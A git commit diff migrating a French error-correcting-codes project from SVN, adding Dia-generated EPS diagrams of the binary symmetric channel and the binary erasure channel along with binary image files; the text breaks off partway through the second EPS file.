commit 66341c1ea68daeb89c58ad131feae457688954d6 Author: Nicolas MASSE Date: Wed Sep 11 11:42:25 2019 +0200 migration from svn diff --git a/CodesCorrecteurs/cbs.dia b/CodesCorrecteurs/cbs.dia new file mode 100755 index 0000000..a1c6b83 Binary files /dev/null and b/CodesCorrecteurs/cbs.dia differ diff --git a/CodesCorrecteurs/cbs.eps b/CodesCorrecteurs/cbs.eps new file mode 100755 index 0000000..6a8cf1b --- /dev/null +++ b/CodesCorrecteurs/cbs.eps @@ -0,0 +1,476 @@ +%!PS-Adobe-2.0 EPSF-2.0 +%%Title: /home/users/trusted-users/nicolas.masse/tmp/CC/cbs.dia +%%Creator: Dia v0.95-1 +%%CreationDate: Sun Dec 3 18:50:18 2006 +%%For: nicolas.masse +%%Orientation: Portrait +%%Magnification: 1.0000 +%%BoundingBox: 0 0 254 167 +%%BeginSetup +%%EndSetup +%%EndComments +%%BeginProlog +[ /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /space /exclam /quotedbl /numbersign /dollar /percent /ampersand /quoteright +/parenleft /parenright /asterisk /plus /comma /hyphen /period /slash /zero /one +/two /three /four /five /six /seven /eight /nine /colon /semicolon +/less /equal /greater /question /at /A /B /C /D /E +/F /G /H /I /J /K /L /M /N /O +/P /Q /R /S /T /U /V /W /X /Y +/Z /bracketleft /backslash /bracketright /asciicircum /underscore /quoteleft /a /b /c +/d /e /f /g /h /i /j /k /l /m +/n /o /p /q /r /s /t /u /v /w +/x /y /z /braceleft /bar /braceright /asciitilde /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/space /exclamdown /cent /sterling /currency /yen /brokenbar /section /dieresis /copyright +/ordfeminine /guillemotleft /logicalnot /hyphen /registered /macron /degree /plusminus /twosuperior /threesuperior +/acute /mu /paragraph /periodcentered /cedilla /onesuperior /ordmasculine /guillemotright /onequarter /onehalf +/threequarters /questiondown /Agrave /Aacute /Acircumflex /Atilde /Adieresis /Aring /AE /Ccedilla +/Egrave /Eacute /Ecircumflex /Edieresis /Igrave /Iacute /Icircumflex /Idieresis /Eth /Ntilde +/Ograve /Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash /Ugrave /Uacute /Ucircumflex +/Udieresis /Yacute /Thorn /germandbls /agrave /aacute /acircumflex /atilde /adieresis /aring +/ae /ccedilla /egrave /eacute /ecircumflex /edieresis /igrave /iacute /icircumflex /idieresis +/eth /ntilde /ograve /oacute /ocircumflex /otilde /odieresis /divide /oslash /ugrave +/uacute /ucircumflex /udieresis /yacute /thorn /ydieresis] /isolatin1encoding exch def +/cp {closepath} bind def +/c {curveto} bind def +/f {fill} bind def +/a {arc} bind def +/ef {eofill} bind def +/ex {exch} bind def +/gr {grestore} bind def +/gs {gsave} bind def +/sa {save} bind def +/rs {restore} bind def +/l {lineto} bind def +/m {moveto} bind def +/rm {rmoveto} bind def +/n {newpath} bind def +/s {stroke} bind def +/sh {show} bind def +/slc {setlinecap} bind def +/slj {setlinejoin} bind def +/slw {setlinewidth} bind def +/srgb {setrgbcolor} bind def +/rot {rotate} bind def +/sc {scale} bind def +/sd {setdash} bind def +/ff {findfont} bind def +/sf {setfont} bind def +/scf {scalefont} bind def +/sw {stringwidth pop} bind def +/tr {translate} bind def + +/ellipsedict 8 dict def +ellipsedict /mtrx matrix put +/ellipse +{ ellipsedict begin + /endangle exch def + /startangle exch def + /yrad exch def + /xrad exch def + /y exch def + /x exch def /savematrix mtrx currentmatrix def + x y tr xrad yrad sc + 0 0 1 startangle endangle arc + savematrix setmatrix + end +} def + +/mergeprocs { +dup length +3 -1 roll +dup +length +dup +5 1 roll +3 -1 roll +add +array cvx +dup +3 -1 roll +0 exch +putinterval +dup +4 2 roll +putinterval +} bind def +/Times-Roman-latin1 + /Times-Roman findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Times-Italic-latin1 + /Times-Italic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Times-Bold-latin1 + /Times-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Times-BoldItalic-latin1 + /Times-BoldItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-Book-latin1 + /AvantGarde-Book findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-BookOblique-latin1 + /AvantGarde-BookOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-Demi-latin1 + /AvantGarde-Demi findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-DemiOblique-latin1 + /AvantGarde-DemiOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-Light-latin1 + /Bookman-Light findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-LightItalic-latin1 + /Bookman-LightItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-Demi-latin1 + /Bookman-Demi findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-DemiItalic-latin1 + /Bookman-DemiItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-latin1 + /Courier findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-Oblique-latin1 + /Courier-Oblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-Bold-latin1 + /Courier-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-BoldOblique-latin1 + /Courier-BoldOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-latin1 + /Helvetica findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Oblique-latin1 + /Helvetica-Oblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Bold-latin1 + /Helvetica-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-BoldOblique-latin1 + /Helvetica-BoldOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-latin1 + /Helvetica-Narrow findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-Oblique-latin1 + /Helvetica-Narrow-Oblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-Bold-latin1 + /Helvetica-Narrow-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-BoldOblique-latin1 + /Helvetica-Narrow-BoldOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-Roman-latin1 + /NewCenturySchoolbook-Roman findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-Italic-latin1 + /NewCenturySchoolbook-Italic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-Bold-latin1 + /NewCenturySchoolbook-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-BoldItalic-latin1 + /NewCenturySchoolbook-BoldItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-Roman-latin1 + /Palatino-Roman findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-Italic-latin1 + /Palatino-Italic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-Bold-latin1 + /Palatino-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-BoldItalic-latin1 + /Palatino-BoldItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Symbol-latin1 + /Symbol findfont +definefont pop +/ZapfChancery-MediumItalic-latin1 + /ZapfChancery-MediumItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/ZapfDingbats-latin1 + /ZapfDingbats findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +28.346000 -28.346000 scale +-4.382500 -12.862500 translate +%%EndProlog + + +0.100000 slw +[] 0 sd +[] 0 sd +0 slc +0 slj +0 slc +0 slj +[] 0 sd +1.000000 1.000000 1.000000 srgb +n 5.362500 8.362500 0.362500 0.362500 0 360 ellipse f +0.000000 0.000000 0.000000 srgb +n 5.362500 8.362500 0.362500 0.362500 0 360 ellipse cp s +0.010000 slw +0 slc +0 slj +[] 0 sd +n 5.362500 8.362500 0.362500 0.362500 0 360 ellipse cp s +0.100000 slw +[] 0 sd +[] 0 sd +0 slc +0 slj +0 slc +0 slj +[] 0 sd +1.000000 1.000000 1.000000 srgb +n 5.362500 12.362500 0.362500 0.362500 0 360 ellipse f +0.000000 0.000000 0.000000 srgb +n 5.362500 12.362500 0.362500 0.362500 0 360 ellipse cp s +0.010000 slw +0 slc +0 slj +[] 0 sd +n 5.362500 12.362500 0.362500 0.362500 0 360 ellipse cp s +0.100000 slw +[] 0 sd +[] 0 sd +0 slc +0 slj +0 slc +0 slj +[] 0 sd +1.000000 1.000000 1.000000 srgb +n 12.362500 8.362500 0.362500 0.362500 0 360 ellipse f +0.000000 0.000000 0.000000 srgb +n 12.362500 8.362500 0.362500 0.362500 0 360 ellipse cp s +0.010000 slw +0 slc +0 slj +[] 0 sd +n 12.362500 8.362500 0.362500 0.362500 0 360 ellipse cp s +0.100000 slw +[] 0 sd +[] 0 sd +0 slc +0 slj +0 slc +0 slj +[] 0 sd +1.000000 1.000000 1.000000 srgb +n 12.362500 12.362500 0.362500 0.362500 0 360 ellipse f +0.000000 0.000000 0.000000 srgb +n 12.362500 12.362500 0.362500 0.362500 0 360 ellipse cp s +0.010000 slw +0 slc +0 slj +[] 0 sd +n 12.362500 12.362500 0.362500 0.362500 0 360 ellipse cp s +/Helvetica-latin1 ff 0.560000 scf sf +(X) dup sw 2 div 5.362500 ex sub 7.565000 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +(Y) dup sw 2 div 12.362500 ex sub 7.565000 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +( 1) 12.725000 8.428750 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +( 0) 12.725000 12.437500 m gs 1 -1 sc sh gr +0.070000 slw +[] 0 sd +[] 0 sd +0 slc +n 5.725000 8.362500 m 11.868011 12.278364 l s +0.070000 slw +[] 0 sd +0 slj +0 slc +n 11.378001 12.262480 m 11.934006 12.320432 l 11.646764 11.840857 l s +0.070000 slw +[] 0 sd +[] 0 sd +0 slc +n 5.725000 8.362500 m 11.843475 8.362500 l s +0.070000 slw +[] 0 sd +0 slj +0 slc +n 11.421738 8.612500 m 11.921738 8.362500 l 11.421738 8.112500 l s +0.070000 slw +[] 0 sd +[] 0 sd +0 slc +n 5.725000 12.362500 m 11.868011 8.446636 l s +0.070000 slw +[] 0 sd +0 slj +0 slc +n 11.646764 8.884143 m 11.934006 8.404568 l 11.378001 8.462520 l s +0.070000 slw +[] 0 sd +[] 0 sd +0 slc +n 5.725000 12.362500 m 11.843475 12.362500 l s +0.070000 slw +[] 0 sd +0 slj +0 slc +n 11.421738 12.612500 m 11.921738 12.362500 l 11.421738 12.112500 l s +/Helvetica-latin1 ff 0.560000 scf sf +(1-p) dup sw 2 div 8.862500 ex sub 7.927500 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +(1-p) dup sw 2 div 8.862500 ex sub 11.962500 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +(p) dup sw 2 div 11.000000 ex sub 11.565000 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +(p) dup sw 2 div 11.000000 ex sub 9.565000 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +(1 ) dup sw 5.000000 ex sub 8.428750 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +(0 ) dup sw 5.000000 ex sub 12.437500 m gs 1 -1 sc sh gr +showpage diff --git a/CodesCorrecteurs/cbs.png b/CodesCorrecteurs/cbs.png new file mode 100755 index 0000000..b4f1bd9 Binary files /dev/null and b/CodesCorrecteurs/cbs.png differ diff --git a/CodesCorrecteurs/cbse.dia b/CodesCorrecteurs/cbse.dia new file mode 100755 index 0000000..8b674b0 Binary files /dev/null and b/CodesCorrecteurs/cbse.dia differ diff --git a/CodesCorrecteurs/cbse.eps b/CodesCorrecteurs/cbse.eps new file mode 100755 index 0000000..8b80e5f --- /dev/null +++ b/CodesCorrecteurs/cbse.eps @@ -0,0 +1,495 @@ +%!PS-Adobe-2.0 EPSF-2.0 +%%Title: /home/users/trusted-users/nicolas.masse/tmp/CC/cbse.dia +%%Creator: Dia v0.95-1 +%%CreationDate: Sun Dec 3 18:44:32 2006 +%%For: nicolas.masse +%%Orientation: Portrait +%%Magnification: 1.0000 +%%BoundingBox: 0 0 254 223 +%%BeginSetup +%%EndSetup +%%EndComments +%%BeginProlog +[ /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /space /exclam /quotedbl /numbersign /dollar /percent /ampersand /quoteright +/parenleft /parenright /asterisk /plus /comma /hyphen /period /slash /zero /one +/two /three /four /five /six /seven /eight /nine /colon /semicolon +/less /equal /greater /question /at /A /B /C /D /E +/F /G /H /I /J /K /L /M /N /O +/P /Q /R /S /T /U /V /W /X /Y +/Z /bracketleft /backslash /bracketright /asciicircum /underscore /quoteleft /a /b /c +/d /e /f /g /h /i /j /k /l /m +/n /o /p /q /r /s /t /u /v /w +/x /y /z /braceleft /bar /braceright /asciitilde /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/space /exclamdown /cent /sterling /currency /yen /brokenbar /section /dieresis /copyright +/ordfeminine /guillemotleft /logicalnot /hyphen /registered /macron /degree /plusminus /twosuperior /threesuperior +/acute /mu /paragraph /periodcentered /cedilla /onesuperior /ordmasculine /guillemotright /onequarter /onehalf +/threequarters /questiondown /Agrave /Aacute /Acircumflex /Atilde /Adieresis /Aring /AE /Ccedilla +/Egrave /Eacute /Ecircumflex /Edieresis /Igrave /Iacute /Icircumflex /Idieresis /Eth /Ntilde +/Ograve /Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash /Ugrave /Uacute /Ucircumflex +/Udieresis /Yacute /Thorn /germandbls /agrave /aacute /acircumflex /atilde /adieresis /aring +/ae /ccedilla /egrave /eacute /ecircumflex /edieresis /igrave /iacute /icircumflex /idieresis +/eth /ntilde /ograve /oacute /ocircumflex /otilde /odieresis /divide /oslash /ugrave +/uacute /ucircumflex /udieresis /yacute /thorn /ydieresis] /isolatin1encoding exch def +/cp {closepath} bind def +/c {curveto} bind def +/f {fill} bind def +/a {arc} bind def +/ef {eofill} bind def +/ex {exch} bind def +/gr {grestore} bind def +/gs {gsave} bind def +/sa {save} bind def +/rs {restore} bind def +/l {lineto} bind def +/m {moveto} bind def +/rm {rmoveto} bind def +/n {newpath} bind def +/s {stroke} bind def +/sh {show} bind def +/slc {setlinecap} bind def +/slj {setlinejoin} bind def +/slw {setlinewidth} bind def +/srgb {setrgbcolor} bind def +/rot {rotate} bind def +/sc {scale} bind def +/sd {setdash} bind def +/ff {findfont} bind def +/sf {setfont} bind def +/scf {scalefont} bind def +/sw {stringwidth pop} bind def +/tr {translate} bind def + +/ellipsedict 8 dict def +ellipsedict /mtrx matrix put +/ellipse +{ ellipsedict begin + /endangle exch def + /startangle exch def + /yrad exch def + /xrad exch def + /y exch def + /x exch def /savematrix mtrx currentmatrix def + x y tr xrad yrad sc + 0 0 1 startangle endangle arc + savematrix setmatrix + end +} def + +/mergeprocs { +dup length +3 -1 roll +dup +length +dup +5 1 roll +3 -1 roll +add +array cvx +dup +3 -1 roll +0 exch +putinterval +dup +4 2 roll +putinterval +} bind def +/Times-Roman-latin1 + /Times-Roman findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Times-Italic-latin1 + /Times-Italic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Times-Bold-latin1 + /Times-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Times-BoldItalic-latin1 + /Times-BoldItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-Book-latin1 + /AvantGarde-Book findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-BookOblique-latin1 + /AvantGarde-BookOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-Demi-latin1 + /AvantGarde-Demi findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-DemiOblique-latin1 + /AvantGarde-DemiOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-Light-latin1 + /Bookman-Light findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-LightItalic-latin1 + /Bookman-LightItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-Demi-latin1 + /Bookman-Demi findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-DemiItalic-latin1 + /Bookman-DemiItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-latin1 + /Courier findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-Oblique-latin1 + /Courier-Oblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-Bold-latin1 + /Courier-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-BoldOblique-latin1 + /Courier-BoldOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-latin1 + /Helvetica findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Oblique-latin1 + /Helvetica-Oblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Bold-latin1 + /Helvetica-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-BoldOblique-latin1 + /Helvetica-BoldOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-latin1 + /Helvetica-Narrow findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-Oblique-latin1 + /Helvetica-Narrow-Oblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-Bold-latin1 + /Helvetica-Narrow-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-BoldOblique-latin1 + /Helvetica-Narrow-BoldOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-Roman-latin1 + /NewCenturySchoolbook-Roman findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-Italic-latin1 + /NewCenturySchoolbook-Italic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-Bold-latin1 + /NewCenturySchoolbook-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-BoldItalic-latin1 + /NewCenturySchoolbook-BoldItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-Roman-latin1 + /Palatino-Roman findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-Italic-latin1 + /Palatino-Italic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-Bold-latin1 + /Palatino-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-BoldItalic-latin1 + /Palatino-BoldItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Symbol-latin1 + /Symbol findfont +definefont pop +/ZapfChancery-MediumItalic-latin1 + /ZapfChancery-MediumItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/ZapfDingbats-latin1 + /ZapfDingbats findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +28.346000 -28.346000 scale +-4.382500 -14.863750 translate +%%EndProlog + + +0.100000 slw +[] 0 sd +[] 0 sd +0 slc +0 slj +0 slc +0 slj +[] 0 sd +1.000000 1.000000 1.000000 srgb +n 5.362500 8.362500 0.362500 0.362500 0 360 ellipse f +0.000000 0.000000 0.000000 srgb +n 5.362500 8.362500 0.362500 0.362500 0 360 ellipse cp s +0.010000 slw +0 slc +0 slj +[] 0 sd +n 5.362500 8.362500 0.362500 0.362500 0 360 ellipse cp s +0.100000 slw +[] 0 sd +[] 0 sd +0 slc +0 slj +0 slc +0 slj +[] 0 sd +1.000000 1.000000 1.000000 srgb +n 5.362500 14.362500 0.362500 0.362500 0 360 ellipse f +0.000000 0.000000 0.000000 srgb +n 5.362500 14.362500 0.362500 0.362500 0 360 ellipse cp s +0.010000 slw +0 slc +0 slj +[] 0 sd +n 5.362500 14.362500 0.362500 0.362500 0 360 ellipse cp s +0.100000 slw +[] 0 sd +[] 0 sd +0 slc +0 slj +0 slc +0 slj +[] 0 sd +1.000000 1.000000 1.000000 srgb +n 12.362500 8.362500 0.362500 0.362500 0 360 ellipse f +0.000000 0.000000 0.000000 srgb +n 12.362500 8.362500 0.362500 0.362500 0 360 ellipse cp s +0.010000 slw +0 slc +0 slj +[] 0 sd +n 12.362500 8.362500 0.362500 0.362500 0 360 ellipse cp s +0.100000 slw +[] 0 sd +[] 0 sd +0 slc +0 slj +0 slc +0 slj +[] 0 sd +1.000000 1.000000 1.000000 srgb +n 12.362500 14.362500 0.362500 0.362500 0 360 ellipse f +0.000000 0.000000 0.000000 srgb +n 12.362500 14.362500 0.362500 0.362500 0 360 ellipse cp s +0.010000 slw +0 slc +0 slj +[] 0 sd +n 12.362500 14.362500 0.362500 0.362500 0 360 ellipse cp s +0.100000 slw +[] 0 sd +[] 0 sd +0 slc +0 slj +0 slc +0 slj +[] 0 sd +1.000000 1.000000 1.000000 srgb +n 12.362500 11.362500 0.362500 0.362500 0 360 ellipse f +0.000000 0.000000 0.000000 srgb +n 12.362500 11.362500 0.362500 0.362500 0 360 ellipse cp s +0.010000 slw +0 slc +0 slj +[] 0 sd +n 12.362500 11.362500 0.362500 0.362500 0 360 ellipse cp s +/Helvetica-latin1 ff 0.560000 scf sf +(X) dup sw 2 div 5.362500 ex sub 7.565000 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +(Y) dup sw 2 div 12.362500 ex sub 7.565000 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +( 1) 12.725000 8.428750 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +( *) 12.725000 11.437500 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +( 0) 12.725000 14.437500 m gs 1 -1 sc sh gr +0.070000 slw +[] 0 sd +[] 0 sd +0 slc +n 5.725000 8.362500 m 11.858784 11.294986 l s +0.070000 slw +[] 0 sd +0 slj +0 slc +n 11.370462 11.338628 m 11.929392 11.328743 l 11.586127 10.887530 l s +0.070000 slw +[] 0 sd +[] 0 sd +0 slc +n 5.725000 8.362500 m 11.843475 8.362500 l s +0.070000 slw +[] 0 sd +0 slj +0 slc +n 11.421738 8.612500 m 11.921738 8.362500 l 11.421738 8.112500 l s +0.070000 slw +[] 0 sd +[] 0 sd +0 slc +n 5.725000 14.362500 m 11.858784 11.430014 l s +0.070000 slw +[] 0 sd +0 slj +0 slc +n 11.586127 11.837470 m 11.929392 11.396257 l 11.370462 11.386372 l s +0.070000 slw +[] 0 sd +[] 0 sd +0 slc +n 5.725000 14.362500 m 11.843475 14.362500 l s +0.070000 slw +[] 0 sd +0 slj +0 slc +n 11.421738 14.612500 m 11.921738 14.362500 l 11.421738 14.112500 l s +/Helvetica-latin1 ff 0.560000 scf sf +(1-p) dup sw 2 div 8.862500 ex sub 7.927500 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +(1-p) dup sw 2 div 8.862500 ex sub 13.962500 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +(p) dup sw 2 div 8.862500 ex sub 12.427500 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +(p) dup sw 2 div 8.862500 ex sub 9.427500 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +(1 ) dup sw 5.000000 ex sub 8.428750 